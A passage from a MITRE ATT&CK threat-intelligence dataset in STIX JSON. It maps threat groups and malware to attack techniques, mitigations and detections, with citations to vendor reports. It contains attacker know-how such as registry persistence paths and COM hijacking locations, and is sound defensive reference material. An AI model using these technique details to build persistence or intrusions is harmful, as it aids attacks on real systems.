2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6409dbdd-d253-4b4a-8740-8b9592c75f25","type":"relationship","created":"2022-03-08T19:36:14.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC CISA Cyclops Blink Advisory February 2022","url":"https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter","description":"NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022."},{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}],"modified":"2022-03-17T15:07:01.050Z","description":"(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64175a23-67fa-4fa6-8aa6-890c9dc3d5d8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf","description":"US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.","source_name":"US-CERT HARDRAIN March 2018"}],"modified":"2019-09-09T19:15:45.692Z","description":"(Citation: US-CERT HARDRAIN March 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6417adf9-8767-4258-9d26-6e95a43bef47","type":"relationship","created":"2020-10-20T03:39:09.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:52:07.078Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64201f56-d678-4ed2-b759-c78bf9e4d82a","type":"relationship","created":"2020-02-20T17:21:04.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-06T12:32:47.837Z","description":"Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--642039f8-984e-432d-a6a3-bc6b4469bba0","created":"2023-02-14T18:31:45.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T18:57:39.603Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can identify administrator accounts on an infected machine.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64205021-48f8-4dbb-a731-e9c921bbf7f1","created":"2024-03-25T21:29:21.308Z","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:29:21.308Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) can obtain credential information using [LaZagne](https://attack.mitre.org/software/S0349).(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--642b199c-8118-4737-990d-d9dede6dfd5e","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor executed commands and arguments that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NorthSec 2015 GData Uroburos Tools","description":"Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.","url":"https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"}],"modified":"2020-06-29T13:26:01.388Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32.(Citation: NorthSec 2015 GData Uroburos Tools)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6435a96b-f3b5-4a16-876f-901650257d36","type":"relationship","created":"2022-03-25T18:42:10.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.505Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can enumerate common folders such as My Documents, Desktop, and AppData.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6435caf7-2493-4cfb-9ddc-2f672c220251","type":"relationship","created":"2020-05-12T21:56:33.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:28:38.270Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has installed a registry based start-up key HKCU\\Software\\microsoft\\windows\\CurrentVersion\\Run to maintain persistence should other methods fail.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--643a223a-76fa-4a34-9197-3acbc5aff205","created":"2023-08-01T20:44:51.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T17:13:44.828Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used `netstat -ano` on compromised hosts to enumerate network connections.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023) ","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--643e6783-2fee-4975-b945-77cd0bb55f41","created":"2023-09-30T03:17:36.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T03:34:23.433Z","description":"Routinely check account role permissions to ensure only expected users and roles have permission to modify logging settings.\n\nTo ensure Audit rules can not be modified at runtime, add the `auditctl -e 2` as the last command in the audit.rules files. Once started, any attempt to change the configuration in this mode will be audited and denied. The configuration can only be changed by rebooting the machine.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6441996e-3d6b-4df4-9efa-c68a97baf322","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for changes made to windows registry keys or values for unexpected modifications","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6441d8c3-861f-4ce3-9121-809d2b0d173b","type":"relationship","created":"2022-03-23T16:57:13.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T16:57:13.567Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has renamed system utilities such as wscript.exe and mshta.exe.(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64488756-c88f-4004-910b-47e8965d003e","created":"2022-09-22T20:14:09.863Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:14:09.863Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can collect information from a compromised host.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6","type":"relationship","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:29:54.425Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Playbook Dec 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--644b9639-cb87-4d14-a3af-3a6e8688417b","type":"relationship","created":"2020-02-21T21:15:06.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:15:06.645Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--644bfb9b-0555-45e9-a967-c6bedcc05e88","created":"2022-09-08T13:51:24.137Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:51:24.137Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors obtained and used tools such as [gsecdump](https://attack.mitre.org/software/S0008).(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--644d2862-2836-41dd-ba3f-05e23278a5e6","type":"relationship","created":"2020-03-19T23:03:33.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:15.065Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--644d8961-2e4e-4aa1-b7d8-6759a64b25e8","type":"relationship","created":"2020-11-19T18:02:58.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.491Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has uploaded files and information from victim machines.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--64556727-5528-4503-bf45-f951933c8758","created":"2022-04-28T16:10:16.579Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for abnormal process creations, such as a Command and Scripting Interpreter spawning from a potentially exploited application. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes.","modified":"2022-04-28T16:10:16.579Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--645949a0-21a3-4c31-846d-33c2055d8bfd","type":"relationship","created":"2021-03-05T18:54:56.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-04-05T16:35:25.523Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) has sent spearphishing emails containing malicious attachments.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020) ","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64628ae8-0bc8-428c-b7e5-1d738bc55e78","created":"2022-10-18T15:49:26.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T16:39:35.416Z","description":"Ensure that low-privileged user accounts do not have permissions to modify accounts or account-related policies.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6468546f-721e-4df8-90a3-67b39a7b2834","type":"relationship","created":"2019-07-09T17:54:21.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.384Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a variety of Web shells.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/faq-the-projectsauron-apt/75533/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.","source_name":"Kaspersky ProjectSauron Blog"}],"modified":"2020-03-23T16:14:37.241Z","description":"[Strider](https://attack.mitre.org/groups/G0041) has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.(Citation: Kaspersky ProjectSauron Blog)","relationship_type":"uses","source_ref":"intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6479de0b-2907-4346-95a4-063af662c689","created":"2022-02-09T14:32:47.659Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used HTTP GET and POST requests for C2.(Citation: Talos Kimsuky Nov 